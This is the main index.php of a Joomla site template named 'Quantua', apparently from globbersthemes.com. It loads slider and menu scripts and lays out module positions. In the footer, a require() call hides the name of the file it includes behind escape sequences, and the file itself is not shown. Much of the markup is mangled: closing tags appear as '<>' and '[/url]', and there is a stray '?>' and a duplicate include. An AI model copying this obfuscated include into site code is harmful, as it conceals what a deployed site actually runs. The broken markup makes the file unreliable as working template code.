index.php<?php
/****************************************************
#####################################################
##-------------------------------------------------##
## QUANTUA ##
##-------------------------------------------------##
## Copyright = globbersthemes.com- 2013 ##
## Date = MAI 2013 #
## Author = globbers ##
## Websites = http://www.globbersthemes.com ##
## ##
#####################################################
****************************************************/
// no direct access
defined('_JEXEC') or die('Restricted access');
/* The following line loads the MooTools JavaScript Library */
JHtml::_('behavior.framework', true);
/* The following line gets the application object for things like displaying the site name */
$app = JFactory::getApplication();
$csite_name = $app->getCfg('sitename');
$path = $this->baseurl.'/templates/'.$this->template;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<?php #main width#
$mod_left = $this->countModules( 'position-7' );
if ( $mod_left ) { $width = '';
} else { $width = '-full';}
?>
<?php
$image1 = htmlspecialchars($this->params->get('image1'));
$image2 = htmlspecialchars($this->params->get('image2'));
$image3 = htmlspecialchars($this->params->get('image3'));
$bodybackground = htmlspecialchars($this->params->get('bodybackground'));
$logo = htmlspecialchars($this->params->get('logo'));
?>
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/defaut.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/box.css" type="text/css" />
<?php if ($this->direction == 'rtl') : ?>
<?php endif; ?>
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/script.js"></script>
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/jquery.js"></script>
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/nivo.slider.js"></script>
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/superfish.js"></script>
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/hover.js"></script>
<link href='http://fonts.googleapis.com/css?family=Oswald:100,300,400,700,900,100italic,300italic,400italic,700italic,900italic' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:100,300,400,700,900,100italic,300italic,400italic,700italic,900italic' rel='stylesheet' type='text/css'>
<script type="text/javascript">
window.addEvent('domready', function() {
SqueezeBox.initialize({});
$$('a.modal').each(function(el) {
el.addEvent('click', function(e) {
new Event(e).stop(); SqueezeBox.fromElement(el);
}); }); });
</script>
<script type="text/javascript">
var $j = jQuery.noConflict();
$j(document).ready(function() {
$j('.navigation ul').superfish({
delay: 800,
animation: {opacity:'show',height:'show'},
speed: 'normal',
autoArrows: false,
dropShadows: true
}); });
</script>
<script type="text/javascript">
var $j = jQuery.noConflict();
jQuery(document).ready(function ($){
$j("#slider").nivoSlider(
{
effect: 'sliceUpDown',//sliceUpDown
slices: 15,
boxCols: 8,
boxRows: 4,
animSpeed: 1200,
pauseTime: 6000,
startSlide: 0,
directionNav: true,
directionNavHide: true,
controlNav: true,
controlNavThumbs: true,
pauseOnHover: true,
manualAdvance: false,
prevText: 'Prev',
nextText: 'Next',
randomStart: false,
beforeChange: function(){},
afterChange: function(){},
slideshowEnd: function(){},
lastSlide: function(){},
afterLoad: function(){}
}); });
</script>
<style type="text/css">
body {
background:url('<?php echo $this->baseurl ?>/<?php echo htmlspecialchars($bodybackground); ?>') repeat 0 0;
}
</style>
<?php if($this->direction == 'rtl') : ?>
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template; ?>/css/default.css" type="text/css" />
<?php endif; ?>
</head>
<body>
<div id="wrapper-slide">
<div id="slide">
<div id="slider" class="nivoSlider">
<img src="<?php echo $this->baseurl ?>/<?php echo htmlspecialchars($image1); ?>" alt="image1" />
<img src="<?php echo $this->baseurl ?>/<?php echo htmlspecialchars($image2); ?>" alt="image2" />
<img src="<?php echo $this->baseurl ?>/<?php echo htmlspecialchars($image3); ?>" alt="image3" />
<>
<>
<>
<div class="pagewidth">
<div id="sitename">
<a href="index.php"><img src="<?php echo $this->baseurl ?>/<?php echo htmlspecialchars($logo); ?>" alt="logo" width="440" height="197" alt="logotype" />[/url]
<>
<div id="menu">
<div class="navigation">
<jdoc:include type="modules" name="position-1" />
<>
<?php if ($this->countModules('position-0')) { ?>
<div id="toolitem">
<div id="search">
<div class="text-search">
<a href="#helpdiv2" class="modal" style="cursor:pointer" title="search" rel="{size: {x: 206, y: 285}, ajaxOptions: {method: "get"}}">
search
[/url]
<>
<>
<div style="display:none;">
<div id="helpdiv2" >
<jdoc:include type="modules" name="position-0" style="xhtml" />
<>
<>
<>
<?php } ?>
<>
<>
<div id="sep"><>
<div class="pagewidth">
<div id="content-main">
<div id="main<?php echo $width ?>">
<jdoc:include type="component" />
<>
<?php if ($this->countModules('position-7')) { ?>
<div id="right">
<jdoc:include type="modules" name="position-7" style="xhtml" />
<>
<?php } ?>
<>
<?php if ($this->countModules('position-3') || $this->countModules('position-4') || $this->countModules('position-6') ||$this->countModules('position-8')) { ?>
<div class="pagewidth">
<div id="wrapper-box">
<div class="box">
<jdoc:include type="modules" name="position-3" style="xhtml" />
<>
<div class="box">
<jdoc:include type="modules" name="position-4" style="xhtml" />
<>
<div class="box">
<jdoc:include type="modules" name="position-6" style="xhtml" />
<>
<div class="box">
<jdoc:include type="modules" name="position-8" style="xhtml" />
<>
<>
<>
<?php } ?>
<div class="ftb">
<div class="ftb-c">
<?php echo date( 'Y' ); ?> <?php echo $csite_name; ?>
<?php require("te\x6d\160la\164e.\160\150\160"); ?>
<>
<div id="top">
<div class="top_button">
<a href="#" onclick="scrollToTop();return false;">
<img src="templates/<?php echo $this->template ?>/images/top.png" width="30" height="30" alt="top" />[/url]
<>
<>
<>
<>
?>
<jdoc:include type="message" />
<jdoc:include type="component" />
</body>
</html>